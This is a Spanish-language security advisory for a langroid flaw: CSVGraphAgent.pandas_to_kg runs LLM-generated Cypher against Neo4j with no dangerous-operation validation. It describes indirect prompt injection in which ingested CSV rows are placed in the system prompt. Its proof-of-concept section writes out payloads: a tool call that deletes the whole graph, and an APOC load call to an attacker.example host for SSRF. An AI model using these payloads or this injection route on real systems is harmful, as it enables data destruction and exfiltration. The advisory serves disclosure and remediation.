GHSA-83W4-CRCP-3W4P
CSVGraphAgent.pandas_to_kg ejecuta Cypher generado por LLM sin la validación allow_dangerous_operations
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-83W4-CRCP-3W4P divulgada · CVSS 9.8 (GitHub) | |
| Remediación | Parche 0.65.11 | langroid · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Resumen
`CSVGraphAgent.pandas_to_kg` (un manejador de herramienta de la subclase `Neo4jChatAgent`) ejecuta Cypher totalmente controlado por el LLM mediante `write_query`, sin ninguna de las comprobaciones de `validate_cypher_query` / `allow_dangerous_operations` que el framework aplica en sus otros manejadores de herramientas Cypher. Un atacante que pueda influir en el prompt del agente, incluso de forma indirecta mediante el contenido de un CSV ingerido que se incrusta literalmente en el mensaje del sistema, puede hacer que se ejecute Cypher arbitrario con el rol de Neo4j del agente: lectura y exfiltración completa del grafo, escritura y destrucción arbitrarias (`DETACH DELETE`, `DROP`), `LOAD CSV FROM` de una URL remota (SSRF / importación arbitraria) y, cuando los procedimientos de APOC o `dbms.security` están habilitados para el rol, ejecución remota de código condicionada a la configuración.
## Causa raíz
`CSVGraphAgent.__init__` habilita la herramienta incondicionalmente: `self.enable_message(PandasToKGTool)` (`langroid/agent/special/neo4j/csv_kg_chat.py:147`). El manejador `pandas_to_kg` (`csv_kg_chat.py:149`) toma `msg.cypherQuery`, totalmente controlado por el LLM, y lo pasa directamente a `self.write_query(msg.cypherQuery, parameters=...)` en `csv_kg_chat.py:165`, una vez por cada fila del CSV. `write_query` (`neo4j_chat_agent.py`) ejecuta `session.write_transaction(lambda tx: tx.run(query, parameters))`: el texto de la sentencia es la cadena del LLM sin modificar; solo los `parameters` de enlace (valores) se parametrizan, nunca el texto de la sentencia.
Los manejadores hermanos `cypher_retrieval_tool` (`neo4j_chat_agent.py:334`) y `cypher_creation_tool` (`neo4j_chat_agent.py:364`) llaman a `validate_cypher_query(..., allow_dangerous=self.config.allow_dangerous_operations)`. `pandas_to_kg` no llama a `validate_cypher_query` ni consulta `allow_dangerous_operations` (una búsqueda de ambos símbolos en `csv_kg_chat.py` devuelve 0 coincidencias). El framework declara `allow_dangerous_operations` (por defecto `False`, documentado en `neo4j_chat_agent.py:73-79`) como un límite de seguridad previsto; este manejador lo omite por completo. La única lógica previa a la ejecución en `write_query` es la comprobación de cadena `is_creation_query`, que solo establece `database_created = True` y no bloquea nada.
## Impacto
- Mínimo (rol por defecto, sin APOC): lectura arbitraria y determinista del grafo (C:H), escritura y destrucción mediante `DETACH DELETE`/`DROP` (I:H, A:H), y `LOAD CSV FROM` de una URL remota (SSRF / importación arbitraria).
- Máximo (procedimientos de APOC / `dbms.security` concedidos al rol, situación común): `apoc.load.*` (SSRF y lectura de archivos), `apoc.import/export`, `CALL dbms.*` → ejecución remota de código condicionada a la configuración, en paridad con la clase hermana de ejecución de Cypher en Neo4j.
## Prueba de concepto
Configure un `CSVGraphAgent` con `CSVGraphAgentConfig` por defecto (`allow_dangerous_operations=False`) y una instancia de Neo4j accesible. El atacante influye en el prompt del chat o en el CSV ingerido (su encabezado y las primeras 3 filas se incrustan literalmente en el mensaje del sistema en `csv_kg_chat.py:138-140` sin sanitización), y dirige al LLM a emitir `{"request":"pandas_to_kg","cypherQuery":"MATCH (n) DETACH DELETE n","args":[]}` o, para cargas de SSRF / ejecución remota de código, `CALL apoc.load.json('http://attacker.example/x') YIELD value RETURN value`, o una sentencia `LOAD CSV FROM` con una URL remota controlada por el atacante. Con `args=[]` la sentencia es autocontenida (`parameters={}`) y se ejecuta tal cual.
## Cadena de ataque
1. Entrada: el atacante proporciona o influye en el CSV ingerido como `CSVGraphAgentConfig.data`, o influye directamente en el prompt del chat. Protección: ninguna; el encabezado del CSV y las primeras 3 filas se incrustan literalmente en el mensaje del sistema. Prueba de omisión: `csv_kg_chat.py:138-140` `BUILD_KG_INSTRUCTIONS.format(header=self.df.columns, sample_rows=self.df.head(3))`, sin sanitización.
2. Emisión de la herramienta: el LLM emite `pandas_to_kg` con un `cypherQuery` malicioso y `args=[]`. Protección: el control previsto de la familia, `validate_cypher_query(..., allow_dangerous=self.config.allow_dangerous_operations)`. Prueba de omisión: en esta ruta nunca se invoca dicho control; una búsqueda de `validate_cypher` / `allow_dangerous` en `csv_kg_chat.py` no encuentra nada, y el manejador `pandas_to_kg` (csv_kg_chat.py:149-174) llama directamente a `write_query`.
3. Ejecución: `write_query(msg.cypherQuery, parameters=...)` (csv_kg_chat.py:165) ejecuta la sentencia sin procesar en una transacción de escritura. Protección: la única lógica previa de `write_query` es la comprobación de cadena `is_creation_query`, que solo establece `database_created = True`. Prueba de omisión (punto de llamada final o sink): en `neo4j_chat_agent.py`, `session.write_transaction(lambda tx: tx.run(query, parameters))`; `query` es la cadena del LLM sin modificar, y solo los `parameters` de enlace se parametrizan.
4. Impacto: Cypher arbitrario con el rol de Neo4j del agente: lectura y exfiltración completa del grafo, `DETACH DELETE`/`DROP`, `LOAD CSV FROM` de una URL remota (SSRF) y ejecución remota de código condicionada a la configuración cuando los procedimientos de APOC o `dbms.security` están habilitados.
## Evidencia de omisión
Al ejecutar `cypher_validator.py` con la misma configuración de la herramienta de creación hermana (`is_write=True, allow_dangerous=False`), las cargas `apoc.load.json(...)`, `LOAD CSV FROM <remoto>` y `CALL dbms.security.listUsers()` son RECHAZADAS por la herramienta de creación hermana, mientras que `MATCH (n) DETACH DELETE n` está permitida en la ruta de escritura. Esas mismas cargas `apoc.*`, `LOAD CSV` y `dbms.*` llegan a `write_query` sin modificar a través de `pandas_to_kg`, porque ese manejador no invoca ni `validate_cypher_query` ni `allow_dangerous_operations`. `DETACH DELETE` (destrucción arbitraria) se ejecuta en todas las rutas.
Evidencia del alcance de la corrección: el commit de corrección relacionado `5a3097d` modificó solo `cypher_validator.py` (nuevo), `neo4j_chat_agent.py` (+22, los dos manejadores hermanos), el validador y el agente de arangodb, y pruebas; nunca tocó `csv_kg_chat.py` (`git show --stat 5a3097d | grep -c csv_kg_chat` devuelve 0). `csv_kg_chat.py` se modificó por última vez en `82490dc` (v0.42.7), mucho antes de esa corrección. Este manejador es una ruta de ejecución de Cypher distinta que sigue sin parchear y requiere una corrección independiente.
## Versiones afectadas
`<= 0.65.7` (última etiqueta de versión, y también HEAD actual). Código vulnerable verificado en la etiqueta `0.65.7`: llamada a `write_query` en `csv_kg_chat.py:165`, sin validación en la ruta y sin corrección posterior a la versión en este archivo.
## Corrección sugerida
Llamar a `validate_cypher_query(msg.cypherQuery, is_write=True, allow_dangerous=self.config.allow_dangerous_operations)` en `pandas_to_kg` antes de `write_query` o, preferiblemente, trasladar la validación a `read_query`/`write_query` para que todas las rutas de ejecución estén protegidas por el mismo límite.
---
Reportado por zx (Jace)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilangroid |
Corregida | 0.65.11 | 0 d | 0.69.22 no afectada |
0.65.11Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/langroid/langroid/security/advisories/GHSA-83w4-crcp-3w4pLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
